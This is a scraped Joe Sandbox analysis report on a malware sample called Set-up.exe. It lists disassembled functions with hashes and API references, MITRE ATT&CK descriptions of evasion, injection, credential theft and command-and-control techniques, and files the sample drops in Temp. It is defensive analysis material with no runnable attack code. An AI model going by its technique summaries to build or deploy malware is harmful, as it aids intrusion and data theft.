Opcode Fuzzy Hash: 907a790e22709f66cba6a81009bdf1bb2919779642d070dbe716919cc3937b99
Instruction Fuzzy Hash: 1721B237612A9486CB29DF26D4107A97361E795FE4B098234DE6D0B398DF38C8C2C354

Function 00127780 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0012779B
LeaveCriticalSection.KERNEL32 ref: 001277A7
EnterCriticalSection.KERNEL32 ref: 0012783C
LeaveCriticalSection.KERNEL32 ref: 00127848

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction ID: da628bdad28b83d77a1065057d1f00f4bfda4d65148f3e0d1e38453a19eacf6f
Opcode Fuzzy Hash: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction Fuzzy Hash: 5F210336604B5097CB209F2AE98425A7370F789B99F195126EB4D47B94DF38D8A5C700

Function 0013E7A0 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

free.MSVCRT ref: 0013E81E
free.MSVCRT ref: 0013E828
free.MSVCRT ref: 0013E832
free.MSVCRT ref: 0013E83C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmalloc
String ID:
API String ID: 2043655614-0
Opcode ID: 599e7315893330928f463c9da471a6a003b51d38736cd83a9fad199d7e4e3aaa
Instruction ID: f7f09293ad0920a40fbfaac8edd8195b9cb99053c05a2e565027f2dabd881536
Opcode Fuzzy Hash: 599e7315893330928f463c9da471a6a003b51d38736cd83a9fad199d7e4e3aaa
Instruction Fuzzy Hash: D9115E72615B8081CB64DF25E88135D73A5F795BE4F248236EB9D077A8DF38C8A5C740

Function 001575A4 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 001575CF
memcmp.MSVCRT ref: 001575EA
memcmp.MSVCRT ref: 00157600

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction ID: 580a15f51fe16e9db4f287a7a55a79cc177d32ffd76189c85626a23e487d629f
Opcode Fuzzy Hash: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction Fuzzy Hash: D901F5B2309B41D6FB089F2AAC923E822559B19FC6F855430CE158F345FF38DA4AC300

Function 0013C8E8 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0013C913
memcmp.MSVCRT ref: 0013C92E
memcmp.MSVCRT ref: 0013C944

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction ID: c5512b675711470636599211fa8c96c9c462a38f2054530a536cd5a3a64f68bc
Opcode Fuzzy Hash: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction Fuzzy Hash: E80128B2305B0192EB089F22EC513A837559B29FD9F869021CE09AF305EF38DA55C344

Function 00123A0C Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00123A37
memcmp.MSVCRT ref: 00123A4D
memcmp.MSVCRT ref: 00123A69
memcmp.MSVCRT ref: 00123A85

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction ID: 1a51fdd1aaaedd3da91d3f7a799e25b8c2b6476778c8d6ecf524a0cf82485257
Opcode Fuzzy Hash: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction Fuzzy Hash: C60126B2704B1191EB088B26AC513A822259B19FC4F85A0318E168B306EF38CB56C304

Function 0013CE98 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0013CEC3
memcmp.MSVCRT ref: 0013CED9
memcmp.MSVCRT ref: 0013CEF5
memcmp.MSVCRT ref: 0013CF11

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction ID: 6020fb7bd6562a62c5a491a6620b5cb087012968964e88fcca95a78ffe3fc10d
Opcode Fuzzy Hash: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction Fuzzy Hash: 7901F5B2305B4092EB08DF269C513A42B669B59FD9FC59431CE0AAF305EF38DA4AC344

Function 0011538C Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001153E6
free.MSVCRT ref: 001153EE
free.MSVCRT ref: 001153FA
free.MSVCRT ref: 00115402

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction ID: 18b7fd23552f05e0e0fb91852b80d61cbf1ef02feb89f3e6e5d69c9388eeac62
Opcode Fuzzy Hash: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction Fuzzy Hash: E501B562720D84D59629ED57D8805AA6614BB92BE571D4235EF780B740EF70C8D3C300

Function 00131474 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001314A6
free.MSVCRT ref: 001314AF
free.MSVCRT ref: 001314B8
free.MSVCRT ref: 001314C0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction ID: bf0664f2a3a1514fa22a26037be7d20f6e9a51c2455173d5f05f5886b5edd8cc
Opcode Fuzzy Hash: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction Fuzzy Hash: C2F08253711994A9CA18EE27DC911A82364AF67FA8B1C4271EF1D0B754EF30CCA28300

Function 00157968 Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0015799B
free.MSVCRT ref: 001579A4
free.MSVCRT ref: 001579AC
free.MSVCRT ref: 001579B9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction ID: 9fe0718d7ba22388173009ec0565976f59c760751d357bff19a873a30a53bc74
Opcode Fuzzy Hash: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction Fuzzy Hash: 84F05413745580AACA14EE27ED911A86310BB57BA975C0671EF2D0B745DF30C8B68350

Function 00130BBC Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00130BCC
free.MSVCRT ref: 00130BD5
free.MSVCRT ref: 00130C00
free.MSVCRT ref: 00130C08

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction ID: 6e11287c21428780d65c96779f6c0f68dfb5b2d89bbf0fe8e9ad9139c1d17f6d
Opcode Fuzzy Hash: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction Fuzzy Hash: 6DF0891370188499C71AEE26DC511A853209B9BFD5B1D4371DF2D0B355DF34CC92C300

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

C:\Users\user\AppData\Local\Temp\506033\W

C:\Users\user\AppData\Local\Temp\Amazing

C:\Users\user\AppData\Local\Temp\Based

C:\Users\user\AppData\Local\Temp\Count

C:\Users\user\AppData\Local\Temp\Crest

C:\Users\user\AppData\Local\Temp\Crest.bat

C:\Users\user\AppData\Local\Temp\Current

C:\Users\user\AppData\Local\Temp\Endless

C:\Users\user\AppData\Local\Temp\Labeled

C:\Users\user\AppData\Local\Temp\Lil

C:\Users\user\AppData\Local\Temp\Towers

C:\Users\user\AppData\Local\Temp\Warren

C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Windows Analysis Report
Set-up.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre